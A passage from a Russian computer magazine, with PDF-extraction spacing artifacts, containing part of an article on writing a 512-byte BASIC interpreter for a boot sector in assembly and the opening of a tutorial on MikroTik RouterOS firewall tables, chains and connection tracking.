име ли этот язык в ПЗУ и поз воляли прог рамми ровать на нем сраз у пос ле заг‐
рузки.
Техн ическ ое задание (что будет уметь наш интер пре татор) я сформ улирую
в виде инс трук ции польз овате ля. Вот она.
Ин терп рет атор работа ет в двух режимах: интер акт ивном и обыч ном.
В инте рак тивном режиме он выпол няет команд ы сра зу пос ле ввод а.
В обыч ном режиме сна чала надо занес ти исходник прог раммы в память
и затем дать коман ду run.
Ес ли нуж но удал ить строк у из исходник а, прос то введ и в команд ной стро ке ее
номер.
Как интерп рет атор узна ёт, в каком режиме обраб аты вать текст из команд ной
стро ки? Если стро ка начинае тся с номера, интер прет атор обра батыв ает ее
в обычн ом режиме. Если не с номера — в инте рак тивном.
Мак сималь ный разм ер прогр аммы — 999 строч ек. Мак симальн ая длин а
стро ки — 19 симв олов. Обра ти вни мание, что кла виша Backspace функ ци‐
онир ует как надо. Хоть на экра не сим вол и не затирае тся, в буфере все
в поряд ке.
В расп оряжен ии у прог раммис та:
• три команд ы: run (запуск ает прог рамму), list (выводит исходник
на экран), new (стир ает прогр амму);
• 26 переменн ых (от a до z): двух байт овые целые числ а без зна ка;
• вы раже ния, которые могут вклю чать в себя: числ а, четыре ариф метичес‐
кие опер ации, скобк и, перемен ные;
• три опер ато ра: if, goto, =;
• две фун кции: print, input.
Вот язы ковые конс трук ции, которые понима ет наш интерп ре татор:
• var=expr присв аивает знач ение expr перемен ной var (от a до z);
• print expr выводит знач ение expr и перево дит кур сор на сле дующую
стро ку;
• print expr; выводит зна чение expr и оставляе т курс ор на текущей
стро ке;
• print "][ello" печатае т стро ку и перевод ит кур сор на след ующую
стро ку;
• print "][ello"; печатае т стро ку и оставляе т курс ор на текущей стро ке;
• input var счи тыва ет зна чение с клав иату ры, помеща ет его в перемен‐
ную var (a..z);
• goto expr перехо дит на ука зан ную стро ку прог раммы;
• if expr1 goto expr2 — если expr1 не 0, прыгн уть на строк у expr2,
инач е на след ующую посл е if.
Прим ер: if c‐5 goto 2 (если c‐5 не 0, прыг аем на стро ку 2).
НАЧИНАЕМ ДЕЛАТЬ ИНТЕРПРЕТАТОР
Нач инае м с того, что зада ем области памяти, которым и будем польз оватьс я:
• буф ер для тек ста из команд ной стро ки;
• буф ер для хран ения исходник а прог раммы;
• мас сив для хран ения перемен ных (от a до z);
• ука затель на текущую строк у прог раммы.
Все сег мен тные регист ры нацелив аем на CS. Затем сбра сыва ем «флаг нап‐
равлен ия», что бы стро ки обра батыв ались сле ва нап раво, а не наобор от (ког‐
да будем обра щатьс я к инс трукц иям врод е stosb). Буфер, который пред‐
назна чен для исходник а прогр аммы, запол няем сим волом 0x0D (сим вол воз‐
врат а карет ки, более извест ный как кла виша Enter).
Ис ходник прогр аммы на бейс ике будем обра баты вать как дву мер ный сим‐
воль ный масс ив: 1000 × 20.
Ес ли вве дешь стро ку боль ше 19 симв олов, она заедет на сосед нюю.
В текущей реали зации интерп ре татор а этот баг не отсле жива ется. Прос то
помн и, что боль ше 19 сим волов в строч ку впи сывать нель зя.
Зап уск аем главн ый рабочий цикл
Здесь сна чала вос стан авл ива ем ука затель сте ка (регистр SP). На тот слу чай,
если прогр амма на бейс ике обру шилась из‐за ошиб ки.
Зат ем сбра сывае м ука затель running (текущая строк а прог раммы). Потом
вызыва ем под прогр амму input_line, которая ждет, пока прог раммист
что‐нибудь напеча тает. Подп рог рамма сох раняе т полученн ую строк у
в регистр SI.
Дальш е смот рим, начина ется строк а с номера или нет. Если с номера, нам
надо записать ее в буфер, который отвед ен под исходник. Для это го сна чала
вычисл яем адрес, куда записы вать строк у. За это у нас отве чает подп рог‐
рамма find_address (резуль тат клад ет в регистр DI). Опре делив нуж ный
адрес, копируе м туда стро ку: rep movsb.
Ес ли в начале стро ки нет номера, сраз у выполн яем ее: execute_state‐
ment.
Об рабаты ваем строк и прог раммы
Стро ки прог раммы обраб аты ваем след ующим образ ом. Берем перв ое слов о
из стро ки и посл едоват ель но сравн ивае м его с кажд ой записью из таб лицы
@@statements (см. вни зу статьи посл едний кусок кода). В этой табл ице
общим списк ом перечис лены команд ы, опер атор ы и функ ции, которые
понима ет наш интерп ре татор.
Об рати вним ание, какую эвристи ку я здесь исполь зую, чтоб ы сэконо мить
байт ы на обра бот ку условно го опе ратор а. Перед точк ой вхо да execute_s‐
tatement я пос тавил допол нитель ный вход в ту же самую под прог рамму:
@@if_handler.
Зач ем? Что бы не надо было писать отдель ный обра бот чик для конст рук‐
ций вро де if a‐2 goto 10. Если резуль тат выражен ия (в данн ом слу чае a‐2)
рав няет ся нулю, мы не заходим в if, то есть игно риру ем оста ток стро ки (в
нашем случ ае goto 10).
С if разобр ались. Даль ше обраб атыв аем остальн ые команд ы, опе ратор ы
и фун кции. Начинае м с того, что про пус каем лишн ие проб елы, которые прог‐
раммист добавил для сво его удобст ва. Если в строк е нет ничего, кро ме про‐
белов, прост о игно рируе м ее.
Но если стро ка не пус тая, присм атри ваем ся к ней вни мательн о. Снач ала
перебир аем по порядк у табл ицу @@statements и свер яем свою стро ку с каж‐
дой записью отту да. Каким образ ом све ряем? Счит ыва ем раз мер стро ки (в
случ ае run это 3) и затем сравн ива ем, исполь зуя repe / cmpsb.
Ес ли сов падение обна ружи лось, то регистр DI теперь указ ыва ет на соот‐
ветст ву ющий адрес обра бот чика. Поэто му мы без лиш них телодв ижений пры‐
гаем туда: jmp [di]. Что бы лучш е понять, в чем тут при кол, загл яни в конец
статьи, пос мотри, как устро ена табл ица @@statements. Под сказк а: мет ки,
которые начинаю тся с @@, — это как раз и есть адре са обраб от чиков.
Ес ли всю табл ицу переб рали, но сов падения так и не нашл и, зна чит,
текущая стро ка прог раммы — это не коман да, не опе ратор и не функ ция. Раз
так, может быть, это назв ание перемен ной? Прыг аем на @@to_get_var, что‐
бы про верить.
Даль ше пром атыв аем регистр DI к сле дующей записи табл ицы. Каким обра‐
зом? Приб авл яем CX (дли на имен и текущей команд ы, опе рато ра или функции
плюс еще два бай та (адрес обра бот чика). Потом восс та нав ливае м зна чение
регист ра SI (rep cmpsb перемо тала его впе ред), чтоб ы он опять указ ывал
на начало стро ки, по которой мы выпол няем поиск в табл ице опе рато ров.
Те перь DI ука зыва ет на след ующую запись из таб лицы. Если эта запись
ненулев ая, пры гаем на @@next_entry, что бы сравн ить строк у прог раммы,
вер нее ее начало, с этой записью.
Есл и мы прошл и всю табл ицу, но так и не нашл и совп адения, зна чит, текущая
стро ка — не коман да, не опе ратор и не фун кция. В таком случ ае это, ско рее
все го, конс трукц ия прис ваива ния врод е var=expr. По идее, дру гих вариа нтов
больш е нет. Если, конеч но, в исходник не закр алась син такси ческ ая ошибк а.
Теп ерь нам надо вычисл ить выражен ие expr и помес тить резуль тат
по адре су, с которым связ ана перемен ная var. Подп рогр амма get_variable
вычис ляет нужн ый нам адрес и кла дет его на стек.
Пос ле того как адрес най ден, пров еря ем, есть ли пос ле име ни перемен‐
ной опе ратор присв аиван ия. Если да, нам надо его выпол нить. Но в целях
эко номии байт ов мы сдел аем это не здесь.
Чуть ниже нам с тобой так и так при дет ся реализ овы вать прис ваиван ие
внут ри фун кции input. Вот на тот кусок кода мы и прыгн ем: @@assign.
Целиком нам тут фун кция input ни к чему. Понадо бит ся толь ко ее финаль ная
часть, вот ее и берем. Обратно в execute_statement воз вра щатьс я
не будем. Нуж ный ret выпол нит сама фун кция input.
Есл и знак а прис ваиван ия нет, печатае м сооб щение об ошибк е и прекр аща ем
выпол нение прог раммы, то есть пры гаем на @@main_loop. Там интерп ре‐
татор вос стан овит ука затель стек а и смож ет работать дальш е, нес мотря на то
что нат кнул ся на синт аксич ес кую ошибк у.
Вып ол няем команд у list
Ко ман да list выводит на экран лис тинг прог раммы, которая записан а
в буфере. Каким обра зом она работае т?
Сна чала сбра сывае м в ноль номер текущей строк и в прогр амме: xor ax,
ax. Затем по номеру стро ки вычис ляем адрес, отку да счит ывать стро ку прог‐
раммы: find_address. Ког да адрес стро ки най ден, срав нива ем пер вый сим‐
вол с 0x0D, то есть смот рим, не пус тая ли стро ка. Если пус тая, переход им
к след ующей.
Но если нет, то выводим ее на экран. Снач ала отобр ажа ем ее номер: out‐
put_number. Потом счи тывае м из буфера саму строк у посим вольн о, пока
не нат кнемс я на 0x0D. И так же посим воль но выводим ее на экран.
За тем перехо дим к сле дующей стро ке прог раммы (inc ax) и повт оряе м
все то же самое. Про дол жаем до тех пор, пока не дост игнем max_line, то
есть 1000.
Вы пол няем функ цию input
Фун кция input позв оляе т ввес ти чис ло с клав иатур ы. Работа ет она так.
Снач ала вычисл яем адрес переменн ой, которая задана в прог рамме.
Потом выводим знак воп роса и ждем, пока поль зователь что‐нибудь напеча‐
тает.
На случ ай, если польз ователь введ ет не прос то чис ло, а какое‐нибудь
заковы рис тое выраже ние, мы про гоня ем вве денн ую стро ку через process_‐
expr. Конеч ный резуль тат помещае м по тому адре су, который вычис лили
в начале под прогр аммы. В этом нам поможет инст рукц ия stosw.
ОБРАБАТЫВАЕМ ВЫРАЖЕНИЯ
Обр абот ка выражен ий будет трех уров невая.
1. Сло жение и вычита ние.
2. Ум ножение и деление.
3. Вло женн ые выраже ния (в скобк ах), имен а перемен ных и числ а.
На пер вом уровн е, у которо го прио рит ет самый низ кий, сра зу же передае м
управле ние вто рому уровн ю: вызывае м expr2_left. Затем, ког да более при‐
орит ет ные опер ации обра ботан ы, смот рим на след ующий симв ол. Если
это знак сло жения или вычита ния, обра баты ваем его. Каким обра зом?
Сна чала сохр аня ем левое знач ение: push ax. Затем переда ем прав ую
часть выраже ния вто рому уров ню: expr2_right. Когд а более при орит ет ные
опер ации выпол нены, берем левое зна чение (pop cx) и выпол няем нужн ую
опе рацию с прав ым: add ax, cx или sub ax, cx.
На конец, зацик ливае мся на @@next_sub_add, что бы кор рект но вычис лять
выражен ия вро де 1+2+5‐4.
На вто ром уровн е делае м все то же самое, что и на пер вом. Снач ала опять
передае м управлен ие более прио рит ет ному уров ню: обра щаемс я к ex‐
pr3_left. Затем смот рим на сле дующий сим вол. Если это знак деления
или умно жения, обраб аты ваем его. В конц е, как и в пре дыду щем случ ае, зак‐
ручива ем цикл (@@next_div_mul), что бы интерп рет атор понимал выраже ния
вро де 3*4*2/1.
Обр ати вни мание, что при такой орган иза ции уров ней наш интерп ре татор
авто мати ческ и учит ыва ет при ори тет опе раций. Нап ример, выраже ние
5*6+3*4 вычис ляет ся как (5*6)+(3*4).
На третье м уров не обраб атыв аем скоб ки (вло женн ые выражен ия), име‐
на переменн ых и чис ла.
Сна чала удал яем про белы из вход ной стро ки. Затем смот рим на левый
сим вол. Если это открыв ающая скобк а, запус каем рекур сию: обращ аемс я
к process_expr. Посл е того как вло жен ное выраже ние обра бота но, про веря‐
ем, есть ли у него закр ываю щая скобк а. Если нет, выда ем ошиб ку. А если
есть, про пуск аем про белы, сле дующие за ней, и радост но дела ем ret.
Но что, если сле ва не открыв ающая скобк а, а какой‐то дру гой сим вол?
Может быть, это имя перемен ной? Про веряе м: cmp al 0x40 / jnc @@yes_‐
var.
Есл и предп оложе ние под тверд илось, идем счит ывать зна чение перемен‐
ной. А если нет, знач ит, текущий сим вол — это кусок чис ла. Отступ аем
на один шаг (dec si) и вызыва ем dec_str_to_number, что бы про читать чис‐
ло.
→Продолжение статьи
КОДИНГ ← НАЧАЛО СТАТЬИ
МИКРОБ
ПИШЕМ БЕЙСИК НА АССЕМБЛЕРЕ
И УМЕЩАЕМ В 512 БАЙТ
Под прогр амма: адрес перемен ной по ее име ни
У этой подп рогр аммы две точк и вхо да. На перв ой точ ке вхо да (get_var) чита‐
ем букв у переменн ой при помощи lodsb, на вто рой (get_var_2) — исполь‐
зуем имя перемен ной, которое переда но через регистр AL. Изврат, конечн о,
но чего не сдел аешь, чтоб ы сэконом ить пару‐трой ку бай тов.
Те перь, когд а имя перемен ной у нас есть, надо вычисл ить адрес,
с которым она свя зана. Дела ем это в три шага.
1. Вы пол няем and al, 0x1F, что бы извлечь номер перемен ной; здесь
ASCII‐знач ения 0x61–0x7A конв ертир уют ся в 0x01–0x1A.
2. Умн ожае м резуль тат на 2, поск ольк у кажд ая переменн ая исполь зует 16‐
бит ное сло во в памяти.
3. До бавл яем к адрес у стар шую его часть: mov ah, vars>>8.
Все! Мы знае м ячей ку памяти, с которой свя зана переменн ая.
Об рати вни мание, что этот код переп летен с под прог раммой, которая
про пус кает про белы. У той подп рог раммы тоже две точк и вход а. Перв ая
(skip_spaces) про пуск ает про белы, которые идут за переменн ой, вто рая
(skip_spaces_2) дела ет то же самое, но тольк о оставляе т пер вый про бел.
Подп рогр амма: печать десятич ного чис ла
Под прог рамма печатае т на экран е чис ло, переданн ое через регистр AX.
Каким обра зом? Рекурс ивно делим AX на 10. Пос ле кажд ого деления сох‐
раня ем оста ток на сте ке. Пос ле того как додели лись до нуля, начинае м
выходить из рекурс ии. Перед каж дым выходом сним аем со стек а оче редн ой
оста ток и выводим его на экран.
Нес коль ко прим еров. Если AX = 4, то посл е деления на 10 в AX
будет 0 и поэто му output_number не зай дет в рекурс ию. Прос то выведет
остат ок, то есть чет верку, и все.
Есл и AX = 15, то пос ле деления на 10 в AX будет еди ница. И поэто му под‐
прогр амма залезет в рекурс ию. Покажет там един ич ку, затем выйд ет из внут‐
ренне го вызова в основной и там уже напечат ает циф ру 5.
Обр ати вни мание на jmp в кон це и на то, что у прог раммы нету свое го ret.
Это еще один небольш ой хак, что бы сэконо мить парочк у бай тов. Мы
не вызыва ем под прогр амму вывода симв ола, а джамп имся на нее. Нужн ый
нам ret она сде лает сама.
Под прогр амма: из десятичн ой строк и в шест над цатеричн ое числ о
Подп рог рамма перево дит стро ку, в которой записан о десятичн ое числ о (на
нее ука зыва ет регистр SI), и записы вает резуль тат в регистр AX.
Пер ево дить десятич ную строк у в шес тнадц атерич ное чис ло будем вот как.
Про ходим в цикл е по всем цифр ам сле ва нап раво. Кажд ый раз умнож аем
аккум улят ор на 10 (перв ый раз там у нас ноль) и приб ав ляем к нему текущую
циф ру. Если натыка емся в стро ке на что‐то отличное от цифр ы, скон фужен но
выходим — ошиб ка.
Обр ати вним ание: межд у cmp al, 10 и условным перехо дом сто ит две
опер ации. Так что ито говый резуль тат всег да попадае т в регистр AX, даже
в случ ае ошиб ки.
ВЫПОЛНЯЕМ КОМАНДЫ RUN/GOTO
Ко манд ы run и goto запуск ают прог рамму, которая записа на в буфере. Run
запуск ает ее с самого начала, а goto — с про изволь ной строчк и. Обе коман‐
ды будем обра батыв ать одной и той же под прог раммой.
Ког да интерп рет атор видит коман ду run, он сна чала превр аща ет ее в goto
0 и дальш е обра батыв ает ее точ но так же, как goto. Каким обра зом прев‐
раща ет? Сбра сывае т регистр AX в ноль и пры гает на @@goto_handler.
Вып ол нять команд у goto начина ем с того, что вычис ляем выражен ие,
которое записан о пос ле goto. Резуль тат, то есть номер стро ки, куда пры гать,
помеща ем в AX.
Зат ем по номеру стро ки вычисл яем адрес, где записа на эта стро ка: find‐
_address.
Об рати вним ание, что команд ой goto мож но польз оватьс я как в интер ак‐
тивном, так и в обыч ном режиме. То есть и в прог рамме ее исполь зовать
в качест ве опер ато ра, и с кла виату ры набирать для непос редс твенн ого
выпол нения.
Что делае т инс трукц ия сравн ения cmp word [running], 0? Смот рит,
отку да мы сюда попали: из инте рак тивног о режима или из обыч ного.
Есл и из обыч ного режима, прост о записыв аем в перемен ную running
адрес, отку да дальш е выпол нять прог рамму. На след ующем такт е интер пре‐
татор вытащит с это го адрес а нуж ную стро ку прогр аммы и выполн ит ее.
Но если мы попали сюда из инте рак тивно го режима (прог раммист вошел
в прог рамму не через run, а через goto), то пры гаем на стро ку исходник а,
которая указ ана в goto.
А вот та под прог рамма, которая по заданн ому номеру вычисл яет адрес стро‐
ки в исходник е. Каким обра зом? В AX у нас записан номер стро ки. Умно жаем
его на стан дарт ную длин у стро ки и при бав ляем адрес перв ой строк и прог‐
раммы. Так мы получае м иском ый адрес.
Подп рог рамма: прин имае м с кла виатур ы стро ки исходник а
Те перь научим наш интер прет атор при нимать с клав иату ры строк и прог‐
раммы. За это будет отвеч ать под прог рамма input_line. На вхо де она
получае т симв ол команд ной стро ки (через регистр AL): знак «больш е».
Сна чала выводим коман дную строк у. Затем нацели ваемс я на буфер, куда
будем сохр анять текст из коман дной стро ки. Потом чита ем сим вол с кла‐
виатур ы и, если это не Backspace (0x08), сохр аняе м его в буфер. Но если
нажата Backspace, уменьш аем регистр DI на един ицу, что бы он ука зывал
на пред ыдущ ий сим вол.
ВЫПОЛНЯЕМ ФУНКЦИЮ PRINT
Фун кцию print сдел аем такой, что бы она понимал а раз ный синт аксис:
• print перево дит курс ор на след ующую строк у;
• print "Hello" печатае т текст и ста вит кур сор на след ующую стро ку;
• print "Hello;" печата ет текст и оставляе т курс ор на текущей стро ке;
• print 5 печатае т чис ло и став ит кур сор на сле дующую стро ку;
• print 5+2; печата ет числ о и оставля ет курс ор на текущей стро ке.
Пер вое срав нение, cmp al, 0x0D, отслеж ива ет перв ый вариа нт синт акси‐
са — без аргу мен тов.
Вто рое сравн ение, cmp al, '"', отсле живае т два вариа нта синт аксис а,
ког да надо напеча тать стро ку. В этом случ ае пооче редн о выводим все сим‐
волы, пока не нат кнем ся на закр ываю щую кавыч ку или на 0x0D. Если нат кну‐
лись на 0x0D, зна чит, прогр аммист забыл ввест и втор ую кавыч ку. Ругатьс я
ошиб кой на него за это не будем.
Дальш е смот рим, есть ли посл е кавыч ки точк а с запятой. Если нет,
перево дим кур сор на сле дующую строк у.
На мет ке @@no_quote обра баты ваем два вари анта син таксис а, ког да надо
напеча тать чис ло. Если вмес то числ а нам подс унули выраже ние, вычис ляем
его. Потом выводим его и смот рим, есть ли дальш е точк а с запятой. Если нет,
перево дим кур сор на сле дующую стро ку.
Под прог раммы: ввод‑вывод сим волов
Сдел аем две вспо могат ельн ые подп рог раммы — для input и для print.
Под прогр амма input_key счи тывае т нажатую кла вишу при помощи пре‐
рыван ия BIOS 0x16, фун кция 0x00. ASCII‐код клав иши попадае т в регистр AL.
Обр ати вним ание: эта подп рог рамма перек рывае тся со сле дующей,
поэто му она не закан чива ется инст рукц ией ret. Зачем здесь такое трю качес‐
тво? Что бы, не отхо дя от касс ы, в смыс ле не тра тя допол нительн ых байт ов,
вывес ти на экран сим вол, который приш ел с кла виатур ы.
Под прог рамма output_char сна чала про веряе т, не нажат ли Enter: cmp al,
0xD. Если так, то в довесок к симв олу 0xD печата ем еще и 0xA. Без 0xA кур сор
будет прос то ухо дить влев о, не перес какивая на след ующую строк у. Симв олы
печата ем при помощи BIOS: пре рыван ие 0x10, фун кция 0x0E.
ТАБЛИЦА КОМАНД, ФУНКЦИЙ И ОПЕРАТОРОВ
Дальш е табл ица команд, фун кций и опер атор ов, которые понимае т наш
интерп рет атор. Кажд ая запись сост оит из трех полей: дли на стро ки; имя
коман ды, фун кции или опер ато ра; точ ка вход а в подп рогр амму‐обра бот чик.
Ноль в конц е таб лицы — это подс каз ка интер прет ато ру, что табл ица закон‐
чилась.
При такой струк туре очень удоб но добавл ять новые команд ы, функ ции
и опер ато ры. Прост о дописыв аешь сюда еще одну строчк у, затем встав ляешь
обра бот чик в удоб ном мест е, и все. Больш е ничего прав ить в коде не надо.
Два пос ледних бай та нужн ы для того, чтоб ы BIOS поняла, что в бут секто ре
записан а не какая‐то белиберд а, а враз уми тель ная прог рамма. В нашем слу‐
чае интер пре татор бейс ика.
ТЕСТИРУЕМ ИНТЕРПРЕТАТОР: ПИШЕМ ПРОГРАММУ
«ТРЕУГОЛЬНИК ПАСКАЛЯ»
Треу голь ник Паск аля — это тре угольн ая таб лица биноми наль ных коэф фици‐
ентов. Сверх у сто ит числ о 1. Чис ла, которые появ ляют ся в пос леду ющих
стро ках, — это сум ма двух бли жай ших вышест оящих чисел. Вот исходник,
который надо скорм ить интер прет атор у.
Есл и ты все сдел ал пра вильн о, интерп рет атор долж ен выдать что‐то похожее
на такую кар тинку.
Ин терп ре татор работа ет прав ильн о? Если так, можешь горд ить ся собой. Ты
толь ко что сво ими руками созд ал пол ноцен ный интерп ре татор язы ка бейс ик.
При желании можешь попытатьс я расш ирить его фун кци ональн ость. Нап‐
ример:
• до бавить коман ду cls (очис тка экра на);
• до бавить опе рато ры gosub и return, что бы мож но было писать подп рог‐
раммы;
• реа ли зовать под дер жку мас сивов.
На пос ледок пара орга низа ционн ых момент ов.
1. Для ком пиляции прог раммы использ уй NASM: nasm f bin MicroB.
asm.asm o MicroB.asm.com.
2. Ес ли боишь ся редакт ировать бут сектор, можешь тест ировать интерп ре‐
татор через эмул ятор DOS — нап ример, DOSBox.
АДМИН
СТЕНА
ОГНЯ
УЧИМСЯ НАСТРАИВАТЬ ФАЙРВОЛ
НА ПРИМЕРЕ MIKROTIK
Дмитрий Бубнов
Тренер MikroTik. Автор
канала
https://t.me/mikrotikninja
[email protected]
Назн ачение фай рвол а — фильт рац ия тра фика и манипу‐
ляция пакетам и. Имен но он стан овитс я пер вым и, к сожале‐
нию, во мно гих слу чаях пос ледним бас тионом сети.
В интерне те пол но рекоменд аций, как нас тро ить эту часть
сист емы. Но безд умное копиров ание чужих пра вил может
прин ест и больш е вре да, чем поль зы. Поэто му снач ала нуж но
разоб ратьс я, как работае т и что может файр вол в RouterOS.
Фай рвол, как и мно гое друг ое в RouterOS, приш ел из Linux и пред ставл яет
собой дорабо танн ый iptables. Поэтом у мног ие мануа лы по наст рой ке iptables
легк о можн о сконв ертир овать в фор мат RouterOS. Файр вол сост оит из сле‐
дующих табл иц:
• Filter — занима ется фильт рац ией тра фика — опред еляе т, проп ус тить
пакет в сеть или отброс ить его. Мы будем расс мат ривать работу толь ко
этой табл ицы;
• NAT — Network Address Translation. Измен яет прох одя щие пакеты.
Поменять адрес источник а или порт назн ачения — дело именн о этой таб‐
лицы. В основном она использ ует ся для обес печения дост упа в интернет
из локал ки и обратно. Иногд а без NAT невоз можно работать в плох о спро‐
ектир ованн ых сетях, а еще его, бывае т, исполь зуют в качест ве «кос тыля»;
• Mangle — клас сифицир ует и марк иру ет траф ик и может менять некото‐
рые поля в заголовк е (TTL, ToS, DF). При меня ется для пост рое ния сложн ых
путей тра фика (напр имер, ког да под клю чено два про вайд ера или нуж ны
раз ные пути траф ика для RDP и VoIP);
• Raw — обра баты вает пакеты до их попада ния в Connection Tracking. При‐
годит ся для защиты от DoS или при работе с боль шими объе ма ми тра‐
фика.
Табл ицы сост оят из цепочек. Цепочк и в раз ных таб лицах могут отли чатьс я.
Чуть позж е стан ет ясно почему. В нашей табл ице Filter три цепочк и:
• input — тра фик к самому роутер у. Обяз атель ное усло вие попада ния в in‐
put — адрес ом наз начения пакета дол жен быть один из адрес ов роутер а,
широко веща тель ный адрес сети или широков ещат ельн ый адрес работа‐
ющей на роуте ре служ бы. Сюда попадае т WinBox, SSH, WebFig, ping, VPN
и дру гой тра фик, предн азнач енн ый роуте ру. Пол ный спи сок можешь пос‐
мотреть в ви ки. В этой цепоч ке мы дол жны защищать сам роутер;
• output — тра фик от роуте ра. Ответ ы на при летевш ее в input или новые
пакеты от роуте ра (пинг, VPN, SSH‐сесс ия с самого роуте ра). Эта цепочк а
редк о использ ует ся, так как част о роутер счи тает ся доверен ным звен ом
и пакеты, генери руемые им, по умол чанию легитимн ы. Но, как показы вает
исто рия взло мов, кон троль исхо дяще го траф ика может выявить зараже‐
ние на начальн ых этап ах;
• forward — траф ик, про ходящ ий через роутер (когд а пакет прил етел
в один интерфейс и вылетел с друг ого или того же самого). Траф ик
из локал ки в интернет, из интернет а в локал ку, из одно го VLAN локалк и
в дру гой;
• user chains — польз ователь ские цепоч ки. Админ может соз давать цепоч‐
ки прав ил по сво ему усмотре нию. Это бывае т полезн о для декомп озиции
больш их конф игурац ий. К при меру, можн о весь траф ик на пор‐
ты 80 и 443 завер нуть в отдель ную цепочк у WEB и в ней уже делать десят ки
прав ил для фильт рац ии — это визуа ль но упростит нас трой ку, хотя качес‐
твенн о на про хожд ение тра фика не повл ияет.
Два важн ых момен та, о которых нуж но помн ить.
Мо мент перв ый. У траф ика в forward всег да есть вход ящий и исхо дящий
интерфей сы — траф ик влет ел в input, обра боталс я проц есс ом мар шру тиза‐
ции и дол жен вылететь в output. У входн ого тра фика не может быть исход яще‐
го интерфейс а — он обра ботае тся внут ри роутер а и никуда дальш е
не полетит. Так же у выход ного траф ика не может быть вход яще го интерфей‐
са — этот траф ик генери рует ся самим роутер ом (это либо новый траф ик,
либо соз данный роутер ом ответ на траф ик, приш ед ший в input).
Мо мент вто рой. У тра фика не сущест ву ет «внеш него» или «внут ренне‐
го» интерфей сов. Роутер у плев ать, что ты счит аешь внеш ним, — для него
есть интерфейс, в который траф ик вошел, и интерфейс, с которо го тра фик
уйдет.
Прав ила обра зуют цепоч ки. У кажд ого прав ила может быть тольк о одна
цепоч ка. По умол чанию полити ка у всех цепочек — все разр ешено. Прав ила
сра батыв ают в таб лицах в зависи мос ти от их порядк а: сна чала пакет обра‐
ботае тся перв ым прав илом, затем вто рым и так далее. Хорошим тоном счи‐
тает ся упо рядо чивать пра вила внут ри таб лиц по цепоч кам: снач ала — пачк а
прав ил input, затем — forward, в кон це — output.
Траф ик будет про ходить по прав илам толь ко в пред елах свое й цепоч ки.
И если снач ала идет input, потом forward, затем снов а input, то траф ик input
все равн о никогд а не попадет в forward, то есть такое расп оложен ие прав ил
не пов лияет на про хож дение траф ика, а тольк о запута ет админ а. В пред елах
одной таб лицы пакет не переп рыгнет из одной цепоч ки в дру гую, пока админ
это явно не укаж ет.
table_chain_rule
CONNECTION TRACKING
Еще одна важ ная вещь для понима ния работы фай рвол а — механизм опре‐
деле ния сос тояния соеди нений — Connection Tracking (или прост о
ConnTrack). У RouterOS есть спе циальн ая табл ица, в которой хран ят ся данн ые
о сост оянии соеди нений. Бла годар я ей работае т NAT и мно гие дру гие час ти
файр во ла.
Мех аниз мы ConnTrack про веря ют, при надл ежит ли при шед ший на роутер
пакет какому‐либо из потоков, что бы прим енить к нему политик и все го потока
или как‐то упо рядо чить пакеты в пред елах одног о или нес коль ких потоков
(напр имер, для нарезк и скор ос ти).
ConnTrack
Для ConnTrack сущест вую т четыре сост ояния пакетов:
• new — новый пакет, не прин ад лежащий ни одно му из извес тных потоков.
Это может быть перв ый пакет для конн екта к сер веру RDP, или перв ый
пакет в потоке WinBox, или зап рос к DNS. Сис тема запоми нает Source IP,
Source Port, Destination IP, Destination Port и некотор ые дру гие парамет ры
и записыв ает эти дан ные в табл ицу. След ующий пакет с такими же дан‐
ными будет отно сить ся к записанн ому потоку;
• established — пакет, при надл ежащий сущест вую щем у потоку. То есть
пакет, у которо го Source IP, Source Port, Destination IP, Destination Port под‐
ходят под одну из записей таб лицы ConnTrack (или обратный пакет);
• related — пакет, порож денный друг им потоком. Некото рые про токол ы,
такие как FTP, SIP, PPTP, использ уют для работы нес коль ко потоков. Нап‐
ример, управляю щие коман ды FTP ходят по пор ту TCP 21, но данн ые
передаю тся с пор та TCP 20. При попыт ке получен ия или отправ ки дан ных
на FTP в потоке на порт 21 серв ер сообщ ает: «А сей час я открою 20‐й
порт, и ты забирай дан ные с него», посл е этог о клие нт посыла ет пакет
на 20‐й порт сер вера. Этот пакет будет счит атьс я related, так как он порож‐
ден потоком 21‐го порт а;
• invalid — все, что не отно сит ся к перечис ленным выше сос тояниям. При‐
мер: сес сия кор рект но зак рылась, но из‐за ошиб ок марш рут изац ии часть
пакетов из середи ны сесс ии уле тела друг им путем. Ког да они приш ли, их
сесс ия уже закр ыта и роутер о них ничего не зна ет. Они не new и не отно‐
сят ся к сущест ву ющим соеди нени ям, поэто му счит аем их invalid.
Сост ояние потока не связ ано с фла гами TCP: SYN, ACK, FIN. Для UDP и дру‐
гих stateless‐про токо лов в таб лице ConnTrack тоже содерж атся все воз‐
можные сост ояния.
Connstate
Раб ота ConnTrack треб ует ресур сов проц ес сора и при боль ших объ емах тра‐
фика может сущест вен но нагр узить CPU. Но ConnTrack нужен не вез де, и его
можн о отклю чить. Напр имер, у про вай деров на сты ке с вышес тоящим про‐
вай дером сто ят роутер ы, которые молотят десят ки гигабит тра фика. На этих
роуте рах, как прав ило, нет NAT (пря мая марш рут иза ция), а тра фик филь тру‐
ется уровн ем ниже, чтоб ы не перегр ужать и без того нагр ужен ный бор дер. То
есть в этом слу чае ни к чему про верять кажд ый пакет на при надл ежность
какому‐либо потоку.
Наж ав кнопк у Tracking, можн о отклю чить механизм ConnTrack или подк ру‐
тить тайм еры. В больш инс тве случ аев тебе не понадоб ит ся заходить в эти
нас тройк и, но знать о них нужн о. Режима ConnTrack три: что такое yes и no,
думаю, понят но, а в режиме auto ConnTrack вык лючен до тех пор, пока
хотя бы один пакет не попадет в сущес твую щие прав ила таб лицы NAT
или Filter.
WARNING
Выкл ючен ный ConnTrack ломае т NAT и фичи фай‐
рво ла, осно ван ные на тре кинг е потоков: connec‐
tion‐bytes, connection‐mark, connection‐type, con‐
nection‐state, connection‐limit, connection‐rate,
layer7‐protocol, new‐connection‐mark, tarpit.
Tracking
→Продолжение статьи
АДМИН ← НАЧАЛО СТАТЬИ
СТЕНА ОГНЯ
УЧИМСЯ НАСТРАИВАТЬ ФАЙРВОЛ
НА ПРИМЕРЕ MIKROTIK
РЕКОМЕНДАЦИИ ПО НАСТРОЙКЕ
Пер ехо дим к практ ике наст ройк и. В этой статье я рас скаж у о табл ице Filter —
той, что занимае тся филь трац ией траф ика. Как мы выяс нили чуть выше,
за тра фик к самому роуте ру отве чает цепоч ка input, а за траф ик, который про‐
ходит через роутер, — forward. Займ ем ся защитой самого роутер а.
Перв ое и самое главн ое, что нуж но помн ить при работе с файр во лом,
